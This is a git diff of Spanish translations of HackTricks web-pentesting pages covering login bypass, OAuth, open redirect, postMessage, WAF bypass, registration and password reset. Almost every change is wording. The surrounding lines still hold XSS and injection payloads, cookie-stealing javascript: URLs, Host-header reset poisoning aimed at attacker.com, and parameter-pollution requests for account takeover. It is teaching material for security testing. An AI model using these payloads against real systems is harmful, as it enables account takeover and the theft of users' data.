iterar sobre las letras ascii, dígitos y símbolos: ```bash @@ -150,7 +149,7 @@ Puedes iterar sobre las letras ascii, dígitos y símbolos: #### **Descubrir campos LDAP válidos** -Los objetos LDAP **contienen por defecto varios atributos** que podrían ser utilizados para **guardar información**. Puedes intentar **forzar todos ellos para extraer esa información.** Puedes encontrar una lista de [**atributos LDAP por defecto aquí**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). +Los objetos LDAP **contienen por defecto varios atributos** que podrían usarse para **guardar información**. Puedes intentar **forzar todos ellos para extraer esa información.** Puedes encontrar una lista de [**atributos LDAP por defecto aquí**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). ```python #!/usr/bin/python3 import requests @@ -205,6 +204,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php ``` ### Más Payloads + {{#ref}} https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection {{#endref}} diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index a41e43a08..d9d116ce9 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -6,10 +6,10 @@ Si encuentras una página de inicio de sesión, aquí puedes encontrar algunas técnicas para intentar eludirla: -- Verifica los **comentarios** dentro de la página (¿desplazarte hacia abajo y a la derecha?) +- Verifica los **comentarios** dentro de la página (¿desplazarte hacia abajo y hacia la derecha?) - Verifica si puedes **acceder directamente a las páginas restringidas** - Verifica **no enviar los parámetros** (no envíes ninguno o solo 1) -- Verifica el **error de comparaciones de PHP:** `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b` +- Verifica el **error de comparaciones de PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` - **Cambia el tipo de contenido a json** y envía valores json (incluido bool true) - Si recibes una respuesta diciendo que POST no es compatible, puedes intentar enviar el **JSON en el cuerpo pero con una solicitud GET** con `Content-Type: application/json` - Verifica el posible error de análisis de nodejs (lee [**esto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1` @@ -19,13 +19,13 @@ Si encuentras una página de inicio de sesión, aquí puedes encontrar algunas t - **Agregar la opción `"stringifyObjects":true`** al llamar a `mysql.createConnection` eventualmente **bloqueará todos los comportamientos inesperados cuando se pase `Object`** en el parámetro. - Verifica las credenciales: - [**Credenciales predeterminadas**](../../generic-hacking/brute-force.md#default-credentials) de la tecnología/plataforma utilizada -- **Combinaciones comunes** (root, admin, password, nombre de la tecnología, usuario predeterminado con alguna de estas contraseñas). +- **Combinaciones comunes** (root, admin, password, nombre de la tecnología, usuario predeterminado con una de estas contraseñas). - Crea un diccionario usando **Cewl**, **agrega** el **nombre de usuario** y la contraseña **predeterminados** (si los hay) y trata de forzarlo usando todas las palabras como **nombres de usuario y contraseñas** - **Fuerza bruta** usando un **diccionario más grande (**[**Fuerza bruta**](../../generic-hacking/brute-force.md#http-post-form)**)** ### Bypass de autenticación por inyección SQL -[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **inyecciones SQL**](../sql-injection/#authentication-bypass). +[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **inyecciones SQL**](../sql-injection/index.html#authentication-bypass). En la siguiente página puedes encontrar una **lista personalizada para intentar eludir el inicio de sesión** a través de inyecciones SQL: @@ -73,18 +73,18 @@ admin)(!(&(| pwd)) admin))(|(| ``` -### Recuerdame +### Recordarme -Si la página tiene funcionalidad de "**Recuerdame**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**. +Si la página tiene funcionalidad de "**Recordarme**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**. ### Redirecciones -Las páginas generalmente redirigen a los usuarios después de iniciar sesión, verifica si puedes alterar esa redirección para causar un [**Open Redirect**](../open-redirect.md). Tal vez puedas robar alguna información (códigos, cookies...) si rediriges al usuario a tu web. +Las páginas generalmente redirigen a los usuarios después de iniciar sesión, verifica si puedes alterar esa redirección para causar un [**Open Redirect**](../open-redirect.md). Tal vez puedas robar información (códigos, cookies...) si rediriges al usuario a tu web. ## Otras Comprobaciones - Verifica si puedes **enumerar nombres de usuario** abusando de la funcionalidad de inicio de sesión. -- Verifica si **autocompletar** está activo en los formularios de contraseña/**información** **sensible** **input:** `` +- Verifica si **autocompletar** está activo en el campo de contraseña/**información** **sensible** **formularios** **entrada:** `` ## Herramientas Automáticas diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index f579045f0..a7f724eab 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -39,8 +39,8 @@ https://socialmedia.com/auth &scope=readPosts &state=randomString123 ``` -3. Luego se te presenta una página de consentimiento. -4. Tras tu aprobación, Social Media envía una respuesta a la `redirect_uri` con los parámetros `code` y `state`: +3. A continuación, se le presenta una página de consentimiento. +4. Tras su aprobación, Social Media envía una respuesta a la `redirect_uri` con los parámetros `code` y `state`: ``` https://example.com?code=uniqueCode123&state=randomString123 ``` @@ -66,17 +66,17 @@ Para aquellos que apuntan a un servidor OpenID, el punto final de descubrimiento ### XSS en la implementación de redirección -Como se menciona en este informe de recompensas por errores [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), podría ser posible que la **URL de redirección se esté reflejando en la respuesta** del servidor después de que el usuario se autentica, siendo **vulnerable a XSS**. Carga útil posible para probar: +Como se menciona en este informe de bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), podría ser posible que la **URL de redirección se esté reflejando en la respuesta** del servidor después de que el usuario se autentique, siendo **vulnerable a XSS**. Carga útil posible para probar: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` ### CSRF - Manejo inadecuado del parámetro de estado -En las implementaciones de OAuth, el uso indebido u omisión del **`state` parameter** puede aumentar significativamente el riesgo de ataques de **Cross-Site Request Forgery (CSRF)**. Esta vulnerabilidad surge cuando el parámetro `state` es **no utilizado, utilizado como un valor estático, o no validado o asociado correctamente con la sesión del usuario** durante el inicio de sesión, permitiendo a los atacantes eludir las protecciones CSRF. +En las implementaciones de OAuth, el uso indebido u omisión del **`state` parameter** puede aumentar significativamente el riesgo de ataques de **Cross-Site Request Forgery (CSRF)**. Esta vulnerabilidad surge cuando el parámetro `state` es **no utilizado, utilizado como un valor estático, o no validado o asociado correctamente con la sesión del usuario** al iniciar sesión, permitiendo a los atacantes eludir las protecciones CSRF. Los atacantes pueden explotar esto interceptando el proceso de autorización para vincular su cuenta con la cuenta de una víctima, lo que lleva a posibles **tomas de control de cuentas** al hacer que un usuario inicie sesión con un flujo oauth casi finalizado que pertenece al atacante. Esto es especialmente crítico en aplicaciones donde se utiliza OAuth para **fines de autenticación**. -Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios **CTF challenges** y **plataformas de hacking**, destacando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas. +Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios **desafíos CTF** y **plataformas de hacking**, destacando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas. El manejo y validación adecuados del **`state` parameter** son cruciales para protegerse contra CSRF y asegurar el flujo de OAuth. @@ -160,7 +160,7 @@ Esto se debe a que un **atacante** podría crear una **aplicación que soporte O ### Dos enlaces y cookie -Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información se **almacenaría en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante. +Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información se **almacena en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante. Para eludir este prompt, era posible abrir una pestaña para iniciar el **flujo de Oauth** que establecería esta cookie RU usando el **returnUrl**, cerrar la pestaña antes de que se muestre el prompt y abrir una nueva pestaña sin ese valor. Entonces, el **prompt no informará sobre el host del atacante**, pero la cookie se establecería en él, por lo que el **token se enviará al host del atacante** en la redirección. diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index ac70b99af..fff5c562a 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -1,17 +1,18 @@ -# Open Redirect +# Redirección Abierta {{#include ../banners/hacktricks-training.md}} -## Open redirect +## Redirección Abierta ### Redirección a localhost o dominios arbitrarios + {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Redirección abierta a XSS +### Redirección Abierta a XSS ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -57,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Redirección Abierta subiendo archivos svg +## Open Redirect subiendo archivos svg ```html @@ -160,7 +161,7 @@ header("Location: http://mysafedomain.com"); exit; ?> ``` -## Tools +## Herramientas - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 77c2e7cc6..a22fc7938 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -1,7 +1,5 @@ # Vulnerabilidades de PostMessage -## Vulnerabilidades de PostMessage - {{#include ../../banners/hacktricks-training.md}} ## Enviar **PostMessage** @@ -69,18 +67,18 @@ if (event.origin !== "http://example.org:8080") return false ) ``` -Nota en este caso cómo lo **primero** que hace el código es **verificar el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo). +Nota en este caso cómo lo **primero** que hace el código es **verificar el origen**. Esto es terriblemente **importante**, principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo). ### Enumeración Para **encontrar oyentes de eventos** en la página actual puedes: - **Buscar** en el código JS `window.addEventListener` y `$(window).on` (_versión de JQuery_) -- **Ejecutar** en la consola de herramientas de desarrollo: `getEventListeners(window)` +- **Ejecutar** en la consola de herramientas de desarrollador: `getEventListeners(window)` ![](<../../images/image (618) (1).png>) -- **Ir a** _Elements --> Event Listeners_ en las herramientas de desarrollo del navegador +- **Ir a** _Elements --> Event Listeners_ en las herramientas de desarrollador del navegador ![](<../../images/image (396).png>) @@ -113,7 +111,7 @@ message: "'\"\\", result.message // "'"<b>\" ``` -- Eludir el escape: +- Eludiendo el escape: ```javascript result = u(new Error("'\"\\")) @@ -126,19 +124,20 @@ En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotab ### Bypass de e.origin == window.origin -Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad. +Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en nulo. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad. -Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que también se incluya el atributo **`allow-popups-to-escape-sandbox`**, el origen de la ventana emergente también se establece en `null`, alineándose con el origen del iframe. +Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que también se incluya el atributo **`allow-popups-to-escape-sandbox`**, el origen de la ventana emergente también se establece en `null`, alineándose con el origen del iframe. En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos, el de envío y el de recepción, tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`. Para más información **lee**: + {{#ref}} bypassing-sop-with-iframes-1.md {{#endref}} -### Eludir e.source +### Eludiendo e.source Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para **Content Scripts de extensiones de navegador** para verificar si el mensaje fue enviado desde la misma página): ```javascript @@ -147,7 +146,7 @@ if (received_message.source !== window) { return } ``` -Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **inmediatamente eliminado**. +Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **eliminado inmediatamente**. Para más información **lee:** @@ -167,7 +166,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000); ``` ### Robando mensajes enviados al hijo bloqueando la página principal -En la siguiente página puedes ver cómo podrías robar un **sensitive postmessage data** enviado a un **child iframe** al **bloquear** la página **principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **leak the data** antes de que sea recibido: +En la siguiente página puedes ver cómo podrías robar datos **sensibles de postmessage** enviados a un **iframe hijo** bloqueando la **página principal** antes de enviar los datos y abusando de un **XSS en el hijo** para **filtrar los datos** antes de que sean recibidos: {{#ref}} blocking-main-page-to-steal-postmessage.md @@ -175,19 +174,19 @@ blocking-main-page-to-steal-postmessage.md ### Robando mensajes modificando la ubicación del iframe -Si puedes iframe una página web sin X-Frame-Header que contenga otro iframe, puedes **cambiar la ubicación de ese child iframe**, así que si está recibiendo un **postmessage** enviado usando un **wildcard**, un atacante podría **cambiar** ese iframe **origin** a una página **controlada** por él y **steal** el mensaje: +Si puedes iframear una página web sin X-Frame-Header que contenga otro iframe, puedes **cambiar la ubicación de ese iframe hijo**, así que si está recibiendo un **postmessage** enviado usando un **wildcard**, un atacante podría **cambiar** ese **origen** del iframe a una página **controlada** por él y **robar** el mensaje: {{#ref}} steal-postmessage-modifying-iframe-location.md {{#endref}} -### postMessage a Prototype Pollution y/o XSS +### postMessage a Contaminación de Prototipo y/o XSS -En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **iframe** la **página** y **exploit** la **prototype pollution/XSS** enviando el exploit a través de `postMessage`. +En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **iframear** la **página** y **explotar** la **contaminación de prototipo/XSS** enviando la explotación a través de `postMessage`. -Un par de **very good explained XSS though `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) +Un par de **XSS muy bien explicados a través de `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) -Ejemplo de un exploit para abusar de **Prototype Pollution y luego XSS** a través de un `postMessage` a un `iframe`: +Ejemplo de una explotación para abusar de **Contaminación de Prototipo y luego XSS** a través de un `postMessage` a un `iframe`: ```html diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index d2d68cf38..cbe1d7665 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -85,7 +85,7 @@ Algo similar ocurrió en la versión 2 de Mod Security que permitió eludir una ### Encabezado Malformado -[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible eludir las reglas de AWS WAF aplicadas sobre encabezados HTTP enviando un encabezado "malformado" que no fue analizado correctamente por AWS, pero sí por el servidor backend. +[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible eludir las reglas de AWS WAF aplicadas sobre encabezados HTTP enviando un encabezado "malformado" que no fue analizado correctamente por AWS pero sí por el servidor backend. Por ejemplo, enviando la siguiente solicitud con una inyección SQL en el encabezado X-Query: ```http @@ -102,15 +102,15 @@ Fue posible eludir AWS WAF porque no entendía que la siguiente línea es parte ### Límites de tamaño de solicitud -Comúnmente, los WAF tienen un cierto límite de longitud de solicitudes para verificar y si una solicitud POST/PUT/PATCH supera este límite, el WAF no revisará la solicitud. +Comúnmente, los WAF tienen un cierto límite de longitud de solicitudes para verificar y si una solicitud POST/PUT/PATCH supera este límite, el WAF no verificará la solicitud. - Para AWS WAF, puedes [**consultar la documentación**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** -
Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de Application Load Balancer y AWS AppSync8 KB
Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y Verified Access**64 KB
+
Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para protecciones de Application Load Balancer y AWS AppSync8 KB
Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y Verified Access**64 KB
- De [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** -Los cortafuegos de aplicaciones web más antiguos con el Conjunto de Reglas Básicas 3.1 (o inferior) permiten mensajes más grandes que **128 KB** al desactivar la inspección del cuerpo de la solicitud, pero estos mensajes no serán revisados en busca de vulnerabilidades. Para versiones más nuevas (Conjunto de Reglas Básicas 3.2 o más recientes), se puede hacer lo mismo desactivando el límite máximo del cuerpo de la solicitud. Cuando una solicitud excede el límite de tamaño: +Los Firewalls de Aplicaciones Web más antiguos con el Conjunto de Reglas Central 3.1 (o inferior) permiten mensajes más grandes de **128 KB** al desactivar la inspección del cuerpo de la solicitud, pero estos mensajes no serán verificados en busca de vulnerabilidades. Para versiones más nuevas (Conjunto de Reglas Central 3.2 o más reciente), se puede hacer lo mismo desactivando el límite máximo del cuerpo de la solicitud. Cuando una solicitud excede el límite de tamaño: Si **modo de prevención**: Registra y bloquea la solicitud.\ Si **modo de detección**: Inspecciona hasta el límite, ignora el resto y registra si el `Content-Length` excede el límite. @@ -131,7 +131,7 @@ Casos de uso prácticos: - Enviar cargas útiles en encabezados no confiables (por ejemplo, `User-Agent`) en un GET a una ruta `.js` para evitar la inspección de contenido, luego solicitar inmediatamente el HTML principal para influir en la variante en caché. - Usar una IP fresca/limpia; una vez que una IP es marcada, los cambios de enrutamiento pueden hacer que la técnica sea poco confiable. -- En Burp Repeater, usar "Enviar grupo en paralelo" (estilo de paquete único) para competir entre las dos solicitudes (`.js` luego HTML) a través de la misma ruta de front-end. +- En Burp Repeater, usar "Enviar grupo en paralelo" (estilo de paquete único) para competir las dos solicitudes (`.js` luego HTML) a través de la misma ruta de front-end. Esto se combina bien con la contaminación de caché por reflexión de encabezados. Ver: @@ -181,21 +181,22 @@ Estos tipos de problemas de contexto también se pueden usar para **abusar de ot ### H2C Smuggling + {{#ref}} h2c-smuggling.md {{#endref}} ### IP Rotation -- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generar una URL de puerta de enlace API para usar con ffuf +- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generar una URL de API gateway para usar con ffuf - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar a fireprox -- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que utiliza IPs de puerta de enlace API +- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que utiliza IPs de API gateway - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un número determinado dinámicamente de instancias de contenedor se activan según el tamaño del archivo de entrada y el factor de división, con la entrada dividida en fragmentos para ejecución paralela, como 100 instancias procesando 100 fragmentos de un archivo de entrada de 10,000 líneas con un factor de división de 100 líneas. - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) ### Regex Bypasses -Se pueden utilizar diferentes técnicas para eludir los filtros regex en los firewalls. Los ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar cargas útiles. Los recursos para los diversos bypass se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Los ejemplos a continuación se extrajeron de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2). +Se pueden utilizar diferentes técnicas para eludir los filtros regex en los firewalls. Ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar cargas útiles. Los recursos para los diversos bypasses se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Los ejemplos a continuación se extrajeron de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2). ```bash #changing the case of the tag < #prepending an additional "<" @@ -226,7 +227,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -- [Cómo encontré una toma de control de cuenta 0-Click en un BBP público y la aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [Cómo encontré una toma de control de cuenta 0-Clic en un BBP público y la aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 48f035502..121c8cc9a 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -10,7 +10,7 @@ - Verifica variando el correo electrónico: - mayúsculas - \+1@ -- agrega algún punto en el correo electrónico +- añade algún punto en el correo - caracteres especiales en el nombre del correo (%00, %09, %20) - Pon caracteres en negro después del correo: `test@test.com a` - victim@gmail.com@attacker.com @@ -66,7 +66,7 @@ Cuando estés registrado, intenta cambiar el correo electrónico y verifica si e ### Envenenamiento de Restablecimiento de Contraseña 1. Intercepta la solicitud de restablecimiento de contraseña en Burp Suite -2. Agrega o edita los siguientes encabezados en Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` +2. Añade o edita los siguientes encabezados en Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. Reenvía la solicitud con el encabezado modificado\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. Busca una URL de restablecimiento de contraseña basada en el _encabezado host_ como: `https://attacker.com/reset-password.php?token=TOKEN` @@ -90,7 +90,7 @@ email=victim@mail.com|hacker@mail.com ``` ### IDOR en Parámetros de API -1. El atacante debe iniciar sesión con su cuenta y acceder a la función **Cambiar contraseña**. +1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**. 2. Inicie Burp Suite e intercepte la solicitud. 3. Envíela a la pestaña de repetidor y edite los parámetros: User ID/email\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` @@ -124,7 +124,7 @@ Intente determinar si el token expira o si siempre es el mismo; en algunos casos 3. Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima. 4. Conéctese a la cuenta de la víctima con la nueva contraseña. -La plataforma CTFd fue vulnerable a este ataque.\ +La plataforma CTFd era vulnerable a este ataque.\ Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Toma de Control de Cuenta a Través de Cross Site Scripting @@ -167,6 +167,7 @@ JSON Web Token podría ser utilizado para autenticar a un usuario. - Edita el JWT con otro ID de Usuario / Correo Electrónico - Verifica la firma débil del JWT + {{#ref}} hacking-jwt-json-web-tokens.md {{#endref}} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index daf9b784d..f3a2c7914 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -5,7 +5,7 @@ ## **Filtración del Token de Restablecimiento de Contraseña a Través del Referente** - El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña. -- **Impacto**: Posible toma de control de la cuenta a través de ataques de Cross-Site Request Forgery (CSRF). +- **Impacto**: Posible toma de control de cuenta a través de ataques de Cross-Site Request Forgery (CSRF). - **Explotación**: Para verificar si un token de restablecimiento de contraseña se está filtrando en el encabezado referer, **solicita un restablecimiento de contraseña** a tu dirección de correo electrónico y **haz clic en el enlace de restablecimiento** proporcionado. **No cambies tu contraseña** de inmediato. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las solicitudes usando Burp Suite**. Inspecciona las solicitudes para ver si el **encabezado referer contiene el token de restablecimiento de contraseña**, ya que esto podría exponer información sensible a terceros. - **Referencias**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) @@ -15,7 +15,7 @@ ## **Envenenamiento del Restablecimiento de Contraseña** - Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contraseña para apuntar el enlace de restablecimiento a un sitio malicioso. -- **Impacto**: Conduce a una posible toma de control de la cuenta al filtrar tokens de restablecimiento a los atacantes. +- **Impacto**: Conduce a una posible toma de control de cuenta al filtrar tokens de restablecimiento a los atacantes. - **Pasos de Mitigación**: - Valida el encabezado Host contra una lista blanca de dominios permitidos. - Utiliza métodos seguros del lado del servidor para generar URLs absolutas. @@ -45,7 +45,7 @@ POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- Agregar el correo electrónico del atacante como segundo parámetro usando cc +- Agrega el correo electrónico del atacante como segundo parámetro usando cc ```php POST /resetPassword [...] @@ -86,7 +86,7 @@ POST /api/changepass ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Pasos de Mitigación**: -- Asegúrese de una validación estricta de parámetros y verificaciones de autenticación. +- Asegúrese de una validación estricta de parámetros y controles de autenticación. - Implemente un registro y monitoreo robustos para detectar y responder a actividades sospechosas. - **Referencia**: - [Toma de Control Completa de Cuenta a través de Manipulación de Parámetros de API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) @@ -133,7 +133,7 @@ uuid-insecurities.md - Implemente verificaciones del lado del servidor para asegurar la integridad de la respuesta. - Use canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios. - **Referencia**: -- [Error Crítico en Evento de Recompensa de Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) +- [Error Crítico en Evento de Recompensa por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Uso de Token Expirado** @@ -166,7 +166,7 @@ uuid-insecurities.md - **Pasos de Mitigación**: - Establezca un tiempo de expiración razonable para los tokens de restablecimiento y aplíquelo estrictamente del lado del servidor. -## **Eludir el límite de tasa de OTP cambiando su sesión** +## **Eludir la Limitación de Tasa de OTP cambiando su sesión** - Si el sitio web está utilizando la sesión del usuario para rastrear intentos incorrectos de OTP y el OTP era débil ( <= 4 dígitos), entonces podemos forzar efectivamente el OTP. - **explotación**: diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 12f64e267..730c6e97b 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -1,11 +1,10 @@ # SAML Attacks -## SAML Attacks - {{#include 